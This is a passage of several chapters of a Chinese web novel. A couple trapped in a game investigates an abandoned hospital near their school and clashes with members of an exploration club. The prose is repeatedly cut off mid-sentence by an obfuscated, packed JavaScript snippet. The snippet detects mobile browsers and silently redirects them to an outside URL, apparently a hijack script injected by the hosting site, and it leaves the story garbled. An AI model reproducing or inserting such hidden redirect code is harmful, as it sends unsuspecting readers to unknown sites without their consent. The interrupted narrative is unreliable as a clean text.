“哎,我搜到了,”梁千芙抓住他正要掏手机的手,把他往电脑前拉:“你看,这个论坛上有我们要的信息。这家医院叫期和医院,是家私立医院,之前是我们学校的一部分。不对,应该是我们学校是这个医院的一部分,以前学校所在地皮的位置是医院住院部。我们学校是2006年建立的,但医院在2002年就因为城市规划变动搬走了,相当于这块地荒废了4年。” 但让两人都不解的是资料里的最后一段话:“期和医院运营良好,医患关系和谐,医生医术高超,在医院存续的20年间,仅有一例病患在医院亡故。期和医院停业后,大量医生继续前往市三院任职,大大提高了市三院的医疗水平。期和医院毋庸置疑是一代传奇,为南城其他医院树立了良好的榜样。” 辛且随:“这资料是从哪里来的,感觉有点假。” 梁千芙:“这个城市叫南城啊,好敷衍的名字。” 辛且随转了转被梁千芙攥着的手腕,后者后知后觉松开手,嫌弃地在把手往裤子上搓了搓。 网上关于期和医院的资料不多,两个人花了不到一个小时就把资料都看完了。总得来说,可以说是一无所获,除了一些夸大其词的赞美文章,其他客观的报道并不多,有也只是关于医院的环境的介绍。 据记载期和医院有三栋楼,一栋主楼,急诊和门诊所在的地方,据说是为了节约空间。第二栋楼是住院部,最后一栋是放射科,不过因为CT机是90年代初才在医院里普及,所以大概是空楼。 处理这些信息要消耗很多脑细胞,梁千芙和辛且随都没有说话,空气静默了快十分钟,还是梁千芙率先打破沉默:“辛且随,你为什么要在校园故事关卡里加上医院设定?” “好玩,感觉你会被难住。”辛且随有些揶揄地回答。 “滚。”梁千芙伸手在他手臂上大力一拍,辛且随灵活闪身,但是没躲过。 “不过说实话,我的记忆感觉有点模糊了,可能是系统为了保证游戏公平抹除了一些我对于这个游戏的记忆,所以对医院这边的情况我也不知道。” 电脑上弹出消息,是陈风迎发来的:“我们明天下午六点在学校门口集合哦!别迟到了!” 正要回复消息时,辛且随在旁边问了一句:“你有说我明天要去吗?如果没有说我去是不是不太好。”梁千芙随口答道: “没说,那你别去了。” “那我不去了。”辛且随无所谓地摆摆手。 要在以前,梁千芙才懒得惯着他,爱去不去,自己是绝对不会去劝他的,可想起自己的任务,梁千芙脑子里突然蹦出来了 “卧薪尝胆”这个词,她必须做个能屈能伸的人,现在她的低头,是为了以后能骑在辛且随头上。 做好心理准备后,梁千芙决定先好言相劝:“哎呀,真话假话你听不出来啊,我已经和陈风迎说了你要和我一起来,她和探险社团的人都打过招呼了我才能让你和我来啊。” “那行吧,我可以陪你去。” 梁千芙在心里骂骂咧咧,脸上笑容不减:“那既然如此,不如我们准备准备,比如说手电筒什么的,”顿了顿,“还有那个,只有一个人在这个医院去世真的有点奇怪。生老病死,这些医生就算再有能力也不可能在死神手里抢人啊。对了,那个亡故的人也很值得关注。” 辛且随挠了挠头,深表赞同,他补充道:“其实我们需要准备的不止有这些,我们还能向当年期和医院的人了解一下情况。” “可是,我们怎么找得到当年医院的人呢,那些医生在市三院,我们总不能直接去问人家是不是期和医院的医生,能不能告诉我期和医院的事情啊。” 辛且随抬手在梁千芙的脑袋上不轻不重地敲了一下:“你笨啊。”他边说边躲梁千芙脑瓜崩攻击,趁她一个弹射暴扣时灵活躲开,顺便接过鼠标,另一只手阻拦着梁千芙的进攻。 光标上移,翻到刚刚看到的论坛页面,辛且随指给梁千芙看:“谁说一定要找医生的,我们找写这个稿子的人不就好了,你看。” 梁千芙停止了敲击辛且随的动作,后者的脑袋也得以解放。只见文章最后有属名:“文案编辑:期和医院宣传科王将”。 这个名字一出来,瞬间让梁千芙浑身激灵,脑中某处记忆被激活:“学打印室的老师就叫王将!而且我记得学校官网上,他是最早一批进入学校的职工,” “孺子可教也。”辛且随欣慰地点头。 虽然平时不对付,但两人在正事上还是很有默契的,一拍即合决定明天想办法潜入打印室,去找找线索。 周六早上,两人早早出门。一路上,辛且随都在抱怨昨天晚上睡得不好,沙发太硬了。听着梁千芙别提有多开心了,辛且随不爽她就心情愉悦,也有心情调侃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177229|180769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他了:“怎么?你说那么多难道是想和我一起睡床上吗?” 辛且随:“那你当我什么都没说。” 好心情总是能被辛且随一句话堵死,当年两人刚开始谈恋爱的时候他这样梁千芙还觉得是情趣,时间久了,就变成了低情商的表现。 周六的校园里还有火箭班的学生要补课,两个人浑水摸鱼也是混进了学校。打印室在二楼,旁边就是火箭班。他们就躲在厕所里伺机而动,等下课铃声响起,两人走出厕所,准备伪装成要打印卷子的学生。 梁千芙刚走出厕所就看到了一个不速之客,她准备掉头走回厕所。 秦如许喊住她:“嗨,学姐,又见面了。感觉我俩特别有缘,你和厕所也特别有缘。” 梁千芙背对着他,牙齿都要咬碎了,装作刚看到他一样,大方一笑:“哦是你啊,我都没看见。拜拜。” 说完她低着头快速走过,刚走到走廊她就感受到两只手臂都被人扯住,加上地上有点水,害得她差点摔一个跟头。 还没等她发火,两道声音同时在耳后响起。 秦如许:“别走啊学姐。” 辛且随:“梁千芙你怎么不等我。” 秦如许、辛且随:“你谁啊,放手。”气氛非常尴尬。 这边动静闹的有点大,有的人眼神里的八卦雷达“滴滴滴”响个不停,还有的人投来或鄙夷或好奇的目光,甚至还有,羡慕的目光。 梁千芙在内心狂吼:“不是妹子,你一脸姨母笑的表情是什么意思?” “停停停,你俩能把我松开吗先,我这个姿势像被你俩押送的犯人。”梁千芙挣了挣手,身后两人赶忙松手,她没好气瞪了这两个傻子一眼。 秦如许和辛且随虽然被梁千芙隔开了一段距离,但两人的眼睛死死粘在对方身上,火药味十足。辛且随稍微比秦如许高个几厘米,他把头高高扬起,用鼻孔朝着秦如许。秦如许也不甘示弱,抱着双臂轻声嗤笑。 作为导火索,梁千芙尬笑两声,主动跟两人介绍了一下彼此,要求两人握手言和,虽然是有些不情不愿,但在梁千芙强制抓住他俩手的情况下,局面还是稍有缓和。 结束了这段小插曲,梁千芙把辛且随拽到打印室门口,敲了敲门,没人回答。她试探性转动门把手,门被轻松打开。 推开门,打印室不大,大概20平左右,屋内灯光昏黄,里到处都是成摞的A3和A4纸,真正能打印的机器反而就只有两台。房间的右边被一个大资料柜隔断开,看不清那里的情况。房间的窗户没有关紧,风从缝里钻进来,吹起纸张的页脚,也把打印室淡淡的霉味吹向外来客。 乍一看这个拥挤的房间里并没有人呆着的痕迹,只有一张红色的木头桌子和一台笨重的台式电脑静静躺在房间左侧,证明似乎是有人在这里看管。 梁千芙和辛且随蹑手蹑脚走到书桌旁边,还要时刻注意着不能碰倒成摞的资料。 远看桌子上很干净,走进一看,发现桌面上密密麻麻刻了很多字,能看出这个桌子年代很悠久了,字迹各不相同,像是经历了很多任主人。 辛且随拍了一下梁千芙的肩,耳语道:“那你在这看,我去资料柜那里看看。” 分头行动后,梁千芙先看了看电脑,键盘下压了一张住,而电脑要密码无法登入,于是她小心翼翼把鼠标放回原位。又把目光放在那张纸上,抽出纸,纸上赫然是王将的手写辞职信,他的字迹是工整的楷体,但细看有些字又有点行书风格。 惊讶之余,梁千芙认真浏览了纸上的内容,大概意思就是王将家里出了事情,他要搬离南城,反正没有提到于期和医院有关的事情。 梁千芙把纸塞回去,又打量起桌子上的刻字,密密麻麻很多,有的是刻的歌词,有的是一些日常琐事,但她发现了在鼠标下面压着半句话,只能看到刻的是“期和医院的事不是我的错,钱不是……”另外半句话被压在鼠标下面,梁千芙伸出手。 “你在干什么?一只大手搭上梁千芙的肩,一个声音低沉沧桑还冷冰冰的的男声在梁千芙身后响起,那声音很轻,距离很近,气流挠得她耳朵上浮出一层鸡皮疙瘩。 悉悉索索的声音越来越靠近,像是衣服摩擦的声音,这也意味着那个人与她越靠越近。在梁千芙用余光对上一双阴毒的眼睛时,所有理智都被抛之脑后,她大叫一声甩开那人的手。 辛且随听到动静从资料柜那跑了出来:“怎么了?” 男人看到房间里还有一个人,脸色更黑上一度:“你们是谁,谁让你们自说自话进打印室的?” 辛且随走到梁千芙面前,盯着这个瘦削却眼神阴戾的男人,这应该就是王将。辛且随默默把梁千芙推到身后,装出一副无辜的神情:“王老师,我们是火箭班的,班主任让我们来打印资料。看您不在就自说自话闯进来是我们不对,对不起。” “是吗,”王将似乎不是很相信他们的话,皱紧眉头,“学生证拿给我,我看一下。” 时间紧迫,哪里去弄火箭班的学生证啊。辛且随手心里开始冒冷汗,王将盯着他们的眼神也越来越怀疑,一步一步朝他们逼近:“给我看!” 他的要求不容拒绝,辛且随开口辩解:“老师,学生证在教室,我们没……” 就在这时,门外响起急促的敲门声。 8. 冤家路窄 王将本想装作听不见,但门外的敲门声越来越响。王将收回即将抓住辛且随的手,快步走到门前开门。 “谁啊?敲个不停!”王将面对来人没好气,手撑在门口,似乎是挡住来人的视线。 一个脑袋灵巧的从王将手臂下钻过来,是秦如许,他傻不愣登地朝梁千芙笑。 梁千芙先看到了他,刚想拍拍面前的辛且随让他看门口的情况,却发现辛且随已经走到了桌子旁拿起来鼠标,看鼠标下的那句话。 对上梁千芙询问的目光,辛且随放下鼠标,朝她轻轻点头。在王将转过头来的前一刻,他有走到梁千芙身旁,无事发生的模样。 王将见秦如许已经钻进来,也不好把人再赶出去。他的眼神来回在三个学生身上瞟,干巴巴朝着秦如许问道:“你是来干嘛的?” “哦老师,我是来打卷子的,他们两个是我同学,老师看他们去打卷子一直没回来,就让我来看看,”说着秦如许从口袋里掏出学生证,“王老师,这是我的学生证。” 看到秦如许交在手上的学生证,王将才放缓了语气,挠了挠他的眉毛,梁千芙顺着他手上的动作看去,看到他的眉毛里藏着一条细小的疤痕,颜色粉嫩,看上去是新伤,2厘米左右,显得他的肤色更黑。 看王将这样子,没人敢问关于期和医院的时期,梁千芙感觉刚刚真从王将的眼里看出了杀意。 好不容易从打印室出来,梁千芙和辛且随走在后面,秦如许一个人走在前面,他回头看来一眼两人,停下了脚步。 两人没反应过来,差点一下追尾。 秦如许严肃地看着他俩:“你们没事跑到到打印室干吗?我每次看到打印室那老师一脸黑线我都恨不得躲得越远越好,你俩还上赶着往上贴,这回还好有我。你们在里面鬼鬼祟祟干吗?” 梁千芙在背包里翻了翻,东西没掏出来,只能把空气拍到秦如许手上,目光真诚:“今天真的非常谢谢你,算和我上次救你扯平了吧。但有些事请你小孩子还是不知道为好,你的挂件我给你换了一根新的绳子,我下次看到你还给你。以后咱们井水不犯河水,拜拜。” 梁千芙不看秦如许的反应直接走了。辛且随看着还想说什么的秦如许,幸灾乐祸地偷偷笑出声:“我也要感谢你,但我们俩的事情你知道不太好哦,小孩。” 他特意加重“小孩”两个字,强调秦如许和他们两个不是一个年龄段的人,他顺手拍了拍秦如许的肩,一脸可惜的样子,装模做样还叹息两声。 秦如许退后一步甩开辛且随的手,他看着辛且随的脸,不屑地笑了:“你长得倒是还算过得去,不过年纪太大了怕是和学姐也没是什么共同语言吧,比较没趣,不像我总能吸引学姐注意吧。” 说完像梁千芙一样头也不回地走了,留下辛且随一个人生闷气,他懊恼地捶了一下自己的腿,梁千芙也就算了,连秦如许都能反将一军。他下定决心以后要好好学习辩论,等会去以后把那些综艺全都看一遍。 但秦如许说他年纪大他还是无法忍受,因为这是无法改变的事实。虽然他现在在游戏里和梁千芙一样大,可在现实生活中他确实大了梁千芙三岁,特别是在一次吵架时,梁千芙喊他老男人,并扬言要找一个比他年轻的男朋友之后,年龄问题就一直让他耿耿于怀。 “欸,你怎么还不回班,站在那干嘛?”王将的声音从打印室传来。辛且随再次道别后一口气跑到了楼下。 梁千芙在校门口站着,看到辛且随走下来,大幅度朝她招了招手,招呼他过来。他还是有些沮丧,磨磨蹭蹭走到梁千芙身旁。 梁千芙没有看出辛且随似乎心情不佳,埋怨道:“你怎么不早点下来,我等你半天了,你是不是背着我和秦如许说小话了?” “没有……”辛且随头低着,弱弱解释。 “怎么了?梁千芙把脑袋探到辛且随的头下面,阻挡他看地面的视线。 她侧着头看到辛且随的苦瓜脸,说实话有点遗憾,她还以为辛且随哭了,原本还想着能嘲笑一下他呢。 眼看马上都快中午十二点了,火箭班的学生也回家吃饭了,梁千芙已经感受到自己空空的胃在抗议,但看着辛且随这张如丧考妣的臭脸,胃口都少一半。她站直身子,把手放在辛且随的背上,手上暗暗使劲推他,控制他的步伐朝着学校对面的快餐店迈去:“哎呀,秦如许就是一个小屁孩,他才多大,年纪小的说话就是这样不过脑子的,有的时候说的话是不讨喜,他要说了你什么你也别放在心上。” 辛且随眼睛一下亮了:“你也觉得年纪小的不好吧,还是像我这种成熟一点的比较好吧?” 不远处的快餐店冒着的饭香一直在勾引梁千芙的胃,她根本没心情和辛且随说话,随便嗯嗯啊啊应付了一下。 在餐馆坐定,梁千芙抽空观察了一下辛且随的状态,发现他现在又一副无事发生的样子,淡定地玩着手机。 快餐店上餐速度很快,梁千芙暴风式吸入面条,被烫得“嘶哈”了也不愿放弃嘴里那口面。 “你吃慢点吧,不知道的还以为谁家饿死鬼投胎了。”辛且随一脸嫌弃地看着她,抬手擦掉脸上被溅到的面汤。 这话一说完,迎来的又是梁千芙的一记铁拳。 “哎,你刚刚搜到什么了,那个鼠标上写的是什么字啊?”梁千芙吃饱喝足了才想起要问正事。 辛且随还在慢悠悠享用他的午餐,他舀起一勺米饭,听到梁千芙问他,停住了把勺子往嘴里送的动作,抽张纸巾擦了擦嘴: “资料柜那边东西太多了,而且资料都是乱的,我没来得及看完,只看到了一些学校刚建校时的资料。当时的校长叫季向北,政府规划这块用地的时候他还是只是一个普通的语文老师,资料柜里还有他早年的教案,可学校一建起来,他就被任命为校长了。别的和期和医院有关的资料我没有看到。” 他翻着手机里刚刚拍下的照片,递给梁千芙,接着说道:“还有,我刚刚在手机上搜了一下,季向北自从不当校长了之后,成为了一家报社的主编,闲暇时间经常带着家人一起参加慈善活动,可以算得上是南城的风云人物。” 梁千芙皱眉一张一张翻过照片:“这么看来这个季向北做了很多好事,那他应该是坏的。” 辛且随:“?” 梁千芙:“一般小说不都是这样的吗?表面做了好事的人背地里大多都有些肮脏勾当。那鼠标下写着什么?” “时间太紧我没有拍照,我复述一遍:‘期和医院的事不是我的错,钱不是我管的,我真的不知情。’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177230|180769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “钱?”梁千芙若有所思,“难道当年医院倒闭是和资金周转不开有关?” 辛且随轻啧出声:“不知道啊,不过我们可以多关注一下医院的财务科在哪里,去看一下。” 餐馆的电视上响起下午一点的报时,辛且随和梁千芙商讨:“今天玩上恐怕要通宵了,我们先去去超市买点必需品,然后回家补觉吧。” 梁千芙点头赞同。 叫醒梁千芙的不是闹钟,而是照进窗户的刺眼余晖。梁千芙揉着眼睛迷迷糊糊做起来,顺手拿起旁边的手机一看,手机上5:30的时间比夕阳还刺眼。她从床上弹起来,跑到客厅,一只手薅起还在熟睡的辛且随,另一只手拎着两个探险包,直接往门外跑。 “停停停,我鞋子还没拿,让我拿下鞋子!”辛且随的哀求声很快淹没在楼道里。 狂跑到学校门口的时候,陈风迎和他男朋友已经到了,在那有说有笑聊着什么。 “我们来了!”梁千芙大喊,后面跟着跑的辛且随,发型已经乱成了鸡窝头。 四人互相寒暄一番,陈风迎看了看手机,嘀咕一句:“已经快到6点了啊,其他人呢。” 陈风迎的男朋友何谦踢着地上的小石子埋怨道:“他们几个总是迟到,特别是那个梁辰,上次我听风迎说他和任盼盼还闹矛盾了,不知道任盼盼还来不来。” 梁千芙偷偷拽了拽陈风迎的衣袖:“他们两个也是探险社团的啊?” “对啊,”陈风迎点点头,随后看了一眼她男朋友,降低了声音:“张温怀也是,就是我们英语老师的女儿,是火箭班的。还有那个谁,一个高二的男生,不过今天好像不来,叫什么……” “嗨!我没迟到吧。”一个熟悉的声音响起,梁千芙望去,脱口而出:“秦如许?你也来了?” 秦如许跑得面色红润,汗珠挂在下颚,但整个人明显是精心打扮过的,甚至梁千芙还闻到有清爽的沐浴露味从他身上散发。 “对啊,我也是探险社的我怎么不能来。”秦如许用手背擦去脸上的汗,走近梁千芙身边,用只有两人能听得见的语气说道:“况且今天学姐说要和我井水不犯河水,让我好伤心呢,”他抬手擦了擦眼睛:“学姐你讨厌我吗?” “我讨厌你。”辛且随伸手把秦如许往后推,推的秦如许一个踉跄,拉开了他和梁千芙的距离。 眼看气氛不对,何谦把手搭在秦如许肩上:“哎,你不是说你不来吗,怎么又反悔了。” 秦如许回答何谦的话,眼睛却没有感情地盯着辛且随:“我闲着无聊就来了,没想到好像给某人添堵了。” “好了好了,大家都是朋友嘛,”陈风迎挽着梁千芙的手朝前面走去,“我们几个去医院门口吧,他们三个刚刚给我发消息说都要来,已经在医院门口等我们了。” 何谦显然也不想陷入那两个男人的斗争,快步离开了战场,跟在陈风迎后面喊:“宝宝你等等我!” 校门口风卷起地上的灰尘,两人都看不太清彼此的脸,如同两位在江湖上行走多年,积怨已深的侠客,两人各有绝招,都在等着对方先出手。 还是辛且随先出手,他朝大部队的方向走边说:“走着瞧吧,弟弟。” 只留给秦如许一个潇洒背影。 9.团队任务 医院具体的位置是在学校后山的山腰上,说是后山都夸张了,顶多算是个土丘。那里的环境没有遭受过钢筋水泥的侵害,保留着几十米高的大树和各种类型的野生动物。 一行人沿着山路爬了十几分钟,才从繁茂的树荫中窥见医院的样子。 医院的三栋楼不算高,目测十米左右的高度,呈三角形排列,最先看到的那栋楼的外墙上,爬满了爬山虎和细小的裂痕。仔细看还能分辨出墙上生锈的铁皮牌子刻的字是“主楼”。 “诶,这里,你们怎么才来啊?我们都等了你半天了。”一个短头发的女孩子等在医院门口,一拳捶在何谦到肩膀上,何谦笑着求饶:“你还好意思说呢,说好在校门口集合再一起来医院的,你们直接就在这等着了。” 随后赶来的陈风迎看到自己的男朋友和别的女生这么亲密,脸色黑的像锅底,停下脚步不愿上前。 注意到陈风迎的异样,梁千芙看向那个短头发的女生,耳边响起咬牙切齿的声音:“那个就是张温怀,我超级讨厌她。之前我就看到过她和何谦两个人有说有笑的。” 张温怀是一个高个子的女孩,她站在任盼盼旁边,比1米72的任盼盼还要高出几厘米。她脸很小,但五官在她的脸上却并不显得拥挤,反而很和谐。乍一看这个女孩乍一看她长得像个秀气的男孩,特别是配上那头少年感十足的短发,和简单的白色羽绒服配牛仔裤,整个人散发出浓烈的青春气息。 梁千芙第一眼对张温怀的印象并不差,而且在记忆中她也只听说过这个女生的名字,没有见过这个人。她刚想开口说其实她觉得张温怀这个人至少从面相上来看应该没那么糟糕,用余光瞥到浑身散发杀气的陈风迎,她选择闭嘴。 眼看张温怀的拳头又要像调情似的落在何谦背上,陈风迎拉着梁千芙大步走上前,张温怀这才像是刚看见他们,上来热情地握住陈风迎的手,上下晃动:“嗨,你就是陈风迎吧,何谦是你的男朋友吧,我经常听他说起你,果然和他说的一样漂亮。” 关键时刻,陈风迎窝里横的性格又展现出来了,听到张温怀的话,她方才的怒气消散了一大半,害羞地笑了:“真的吗?还好啦。何谦也经常和我说起你呢。” 紧接着,陈风迎主动把身后的梁千芙推出来,给两人互相介绍了一番。陈风迎意外得知张温怀也是某个新电视剧的忠实剧粉,硬是拉着她讨论最新的剧情。 眼见着两个女生又熟络起来,梁千芙默默走开,到任盼盼身边打招呼。 “嗨,任盼盼。” 任盼盼抬头看了一眼她:“嗯,你好。”便又迅速低下头在手机上打字,似乎是在思考什么,边打字边咬手指思考。 梁千芙腹诽,默默在心里给任盼盼“不好相处”的标签标了着重符号。 梁辰不知道是什么时候从梁千芙身后路过的,他一改往日低眉顺眼的形象,头发是大背头,油腻到都没人愿意往他身后走,害怕发胶滴到衣服上。衣服更是没眼看,脏成黑色的羽绒服还能依稀看清它军绿的底色,下身配着紧身裤,他本身就瘦,这下更是竹节虫附身了。更让人眼前一黑的是他脚下的长筒靴,走一步还发出“吱呀”的声音。 他看梁千芙在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187011|180769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任盼盼这里吃了瘪,毫不掩饰字迹的不屑和嘲讽,故意大声说道:“某些人就是这样莫名其妙的,总是不领情,要我说啊这种人活该没朋友吧。” 这贱嗖嗖的声音像蚊子一样扰得梁千芙心烦,她直接回怼过去:“人家再怎么样也比你这个喜欢胁迫别人作弊的人强。有这嚼舌根的时间,不说让你好好精进一下学业吧,起码把自己收拾干净一点啊!你这穿搭远看像是一个插着两根烧烤签的糊青椒,近看像是一个糊青椒上插了两个烧烤签。” 梁千芙语速极快,不给他反驳的机会。 这边的争吵又吸引来了何谦这个和事佬,他两边安慰,来来回回就是那些车轱辘话,总结起来就一句:“大家都是朋友嘛。” 眼看时间也不早了,太阳还没下山,月亮已经站上了岗位。八个人齐聚在医院门口。 刚才光顾着说话了,静下心梁千芙才发现这个医院的铁栅栏外杂草丛生,但只要属于栅栏内的范围却干净的可怕,没有一株植物生长,仿佛有一道无形的结界把铁门内外分隔成两个世界。 为首的张温怀小心翼翼推开沉重的铁门,众人从缝隙里钻进去,身上多少都沾到了铁锈。 几人并排往前走,不知道是不是梁千芙的心理作用,她总感觉越靠近医院风就越大,吹的她身上起鸡皮疙瘩,再厚的羽绒服都挡不住这种寒意。 走到医院内部,一股霉味伴随着腐味迎面而来,打得几人措手不及,反应过来后纷纷捂住了口鼻。 “这什么味道,怎么这么臭啊。”陈风迎紧紧拽着何谦的衣袖,一刻也无法离开他。 10.脑细胞阵亡时 路过二楼时,梁千芙看到了那三人站在走廊尽头,最前面站着的是任盼盼,她举着手电筒,光照在不远处的一堆不明物,站在后面的陈风迎把手搭在搭在她的肩上,头埋得很低,什么都不敢看。何谦殿后,也举着手电筒照着自己身后的墙壁。 互相鼓励一番,梁千芙三人到达了三楼。在楼梯上时,就能隐约看见隐藏在黑暗中的3F标识,还有旁边血红的“门诊”二字,显得格外张扬。 三楼的走廊并不长,走廊两侧的窗户半开,玻璃早已不知所踪,只剩下半扇生锈的窗框在穿堂风的帮助下苟延残喘。月光从走廊尽头洒进房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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